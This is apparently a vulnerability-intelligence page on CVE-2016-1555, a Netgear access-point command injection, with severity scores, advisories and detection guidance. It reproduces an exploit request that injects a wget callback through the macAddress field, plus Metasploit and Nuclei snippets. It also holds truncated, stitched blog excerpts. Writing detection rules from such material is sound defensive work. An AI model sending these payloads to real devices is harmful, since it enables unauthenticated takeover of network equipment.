CVE-2016-1555
published 2017-04-21CVE-2016-1555: (1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear WN604 before 3.3.3 and WN802Tv2…
PriorityP196critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-04-15
Exploited in the wild
EPSS
98.32%
99.9th percentile
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute arbitrary commands.
Affected
7 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| netgear | wn604_firmware | <= 3.3.2 | — |
| netgear | wn802tv2_firmware | <= 3.0.5.0 | — |
| netgear | wnap320_firmware | <= 3.0.5.0 | — |
| netgear | wndap210v2_firmware | <= 3.0.5.0 | — |
| netgear | wndap350_firmware | <= 3.0.5.0 | — |
| netgear | wndap360_firmware | <= 3.0.5.0 | — |
| netgear | wndap660_firmware | <= 3.0.5.0 | — |
Detection & IOCsextracted from sources · hover to see the quote
commandPOST /boardDataWW.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
macAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23®info=0&writeData=Submit↗
command'macAddress' => "#{datastore['MAC_ADDRESS']};#{cmd};", 'reginfo' => '1', 'writeData' => 'Submit'↗
- →Detect unauthenticated HTTP POST requests to any of the five vulnerable PHP endpoints (boardData102.php, boardData103.php, boardDataJP.php, boardDataNA.php, boardDataWW.php) with a semicolon (;) in the macAddress parameter, indicating command injection. ↗
- →Alert on POST body containing the parameter name 'macAddress' combined with shell metacharacters (e.g., ';') alongside 'writeData=Submit' to any boardData*.php path on Netgear WAP devices. ↗
- →The exploit uses wget as the default CmdStager flavor for payload delivery; monitor for outbound wget requests originating from Netgear WAP devices following inbound POST requests to boardData*.php. ↗
- →The Metasploit module targets MIPS big-endian (MIPSBE) architecture with a reverse TCP shell payload; network detections should look for MIPSBE ELF binaries staged via wget from the device. ↗
- →Nuclei template confirms exploitation via out-of-band HTTP interaction (interactsh); monitor DNS/HTTP callbacks from Netgear WAP IP ranges as a sign of successful exploitation. ↗
- ·The Metasploit module defaults to /boardDataWW.php as the target URI, but all five boardData*.php scripts are vulnerable; defenders should ensure detection coverage spans all five paths. ↗
- ·The module supports three CmdStager flavors (echo, printf, wget); detections relying solely on wget-based staging may miss echo- or printf-based payload delivery. ↗
- ·The MAC address used in the exploit POST is randomized by default (Rex::Text.rand_text_hex(12)); signature-based detection on a specific MAC value will be ineffective. ↗
- ·The exploit requires no authentication; there are no session tokens or credentials to detect. The vulnerable endpoints are fully unauthenticated web pages. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-rfrg-rcwf-93m5: (1) boardData102
ghsa_unreviewed·2022-05-14
CVE-2016-1555 [CRITICAL] CWE-77 GHSA-rfrg-rcwf-93m5: (1) boardData102
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute arbitrary commands.
VulnCheck
NETGEAR Multiple WAP Devices Command Injection Vulnerability
vulncheck·2016·CVSS 9.8
CVE-2016-1555 [CRITICAL] CWE-77 NETGEAR Multiple WAP Devices Command Injection Vulnerability
NETGEAR Multiple WAP Devices Command Injection Vulnerability
Multiple NETGEAR Wireless Access Point devices allows unauthenticated web pages to pass form input directly to the command-line interface. Exploitation allows for arbitrary code execution.
Affected: NETGEAR Wireless Access Point (WAP) Devices
Required Action: Apply updates per vendor instructions.
Exploitation References: https://web.archive.org/web/20200319160240/https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/; https://www.researchgate.net/publication/348602660_An_analysis_of_the_use_of_CVEs_by_IoT_malware; https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-
CISA
NETGEAR Multiple WAP Devices Command Injection Vulnerability
cisa·2022-03-25·CVSS 9.8
CVE-2016-1555 [CRITICAL] CWE-77 NETGEAR Multiple WAP Devices Command Injection Vulnerability
Vulnerability: NETGEAR Multiple WAP Devices Command Injection Vulnerability
Affected: NETGEAR Wireless Access Point (WAP) Devices
Multiple NETGEAR Wireless Access Point devices allows unauthenticated web pages to pass form input directly to the command-line interface. Exploitation allows for arbitrary code execution.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2016-1555
Remediation Due Date: 2022-04-15
No detection rules found.
Exploit-DB
Netgear Devices - (Unauthenticated) Remote Command Execution (Metasploit)
exploitdb·2018-11-27·CVSS 9.8
CVE-2016-1555 [CRITICAL] Netgear Devices - (Unauthenticated) Remote Command Execution (Metasploit)
Netgear Devices - (Unauthenticated) Remote Command Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'Netgear Devices Unauthenticated Remote Command Execution',
'Description' => %q{
From the CVE-2016-1555 page: (1) boardData102.php, (2) boardData103.php,
(3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in
Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350,
WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute
arbitrary commands.
},
'Author' =>
[
'Daming Dominic Chen ', # Vuln discovery
'Imran Dawoodjee ' # MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-1555'],
['URL', 'http
Metasploit
Netgear Devices Unauthenticated Remote Command Execution
metasploit·CVSS 9.8
CVE-2016-1555 [CRITICAL] Netgear Devices Unauthenticated Remote Command Execution
Netgear Devices Unauthenticated Remote Command Execution
From the CVE-2016-1555 page: (1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute arbitrary commands.
Nuclei
NETGEAR WNAP320 Access Point Firmware - Remote Command Injection
nuclei·CVSS 9.8
CVE-2016-1555 [CRITICAL] NETGEAR WNAP320 Access Point Firmware - Remote Command Injection
NETGEAR WNAP320 Access Point Firmware - Remote Command Injection
NETGEAR WNAP320 Access Point Firmware version 2.0.3 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
Template:
id: CVE-2016-1555
info:
name: NETGEAR WNAP320 Access Point Firmware - Remote Command Injection
author: gy741
severity: critical
description: NETGEAR WNAP320 Access Point Firmware version 2.0.3 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
remediation: |
Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
reference:
- htt
Checkpoint
15th November – Threat Intelligence Report
blogs_checkpoint·2021-11-15
CVE-2021-42237 15th November – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 15th November – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 15th November, please download our Threat Intelligence Bulletin .
Top Attacks and Breaches
Check Point Research notes a 178% increase in the number of malicious shopping websites, compared to the rest of the year, spotting over 5300 different malicious websites per week ahead of the end of this year’s e-shopping season.
Check Point Research has analyzed the operations of threat actor MosesStaff following its
Unit42
Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
blogs_unit42·2021-10-14
Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
## Executive Summary
Recently, Unit 42 has observed active exploits related to an open-source service called Interactsh. This tool can generate specific domain names to help its users test whether an exploit is successful. It can be used by researchers – but also by attackers – to validate vulnerabilities via real-time monitoring on the trace path for the domain. Researchers creating a proof of concept (PoC) for an exploit can insert Interactsh to check whether the PoC is working, but the service could also be used by attackers who want to be sure an exploit is working.
This blog will first introduce the Interactsh tool and how researchers or attackers can leverage it to perform vulnerability validation. We then describe some of the many exploits in the wild leveraging this tool, and we
Unit42
Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
blogs_unit42·2021-10-14
Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
Threat Research Center
Threat Research
Cybercrime
## Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes
Yue Guan
Jin Chen
Leo Olson
Wayne Xin
Daiping Liu
Published: October 14, 2021
Cybercrime
Threat Research
Attack analysis
Exploit
Exploit in the wild
Interactsh
## Executive Summary
Recently, Unit 42 has observed active exploits related to an open-source service called Interactsh . This tool can generate specific domain names to help its users test whether an exploit is successful. It can be used by researchers – but also by attackers – to validate vulnerabilities via real-time monitoring on the trace path for the domain. Researchers creating a proof of concept (PoC) for an exploit can insert Interactsh to check whether the PoC
http://packetstormsecurity.com/files/135956/D-Link-Netgear-FIRMADYNE-Command-Injection-Buffer-Overflow.htmlhttp://seclists.org/fulldisclosure/2016/Feb/112https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organichttps://www.exploit-db.com/exploits/45909/http://packetstormsecurity.com/files/135956/D-Link-Netgear-FIRMADYNE-Command-Injection-Buffer-Overflow.htmlhttp://seclists.org/fulldisclosure/2016/Feb/112https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organichttps://www.exploit-db.com/exploits/45909/https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2016-1555
2017-04-21
Published
2022-03-25
Added to CISA KEV
Exploited in the wild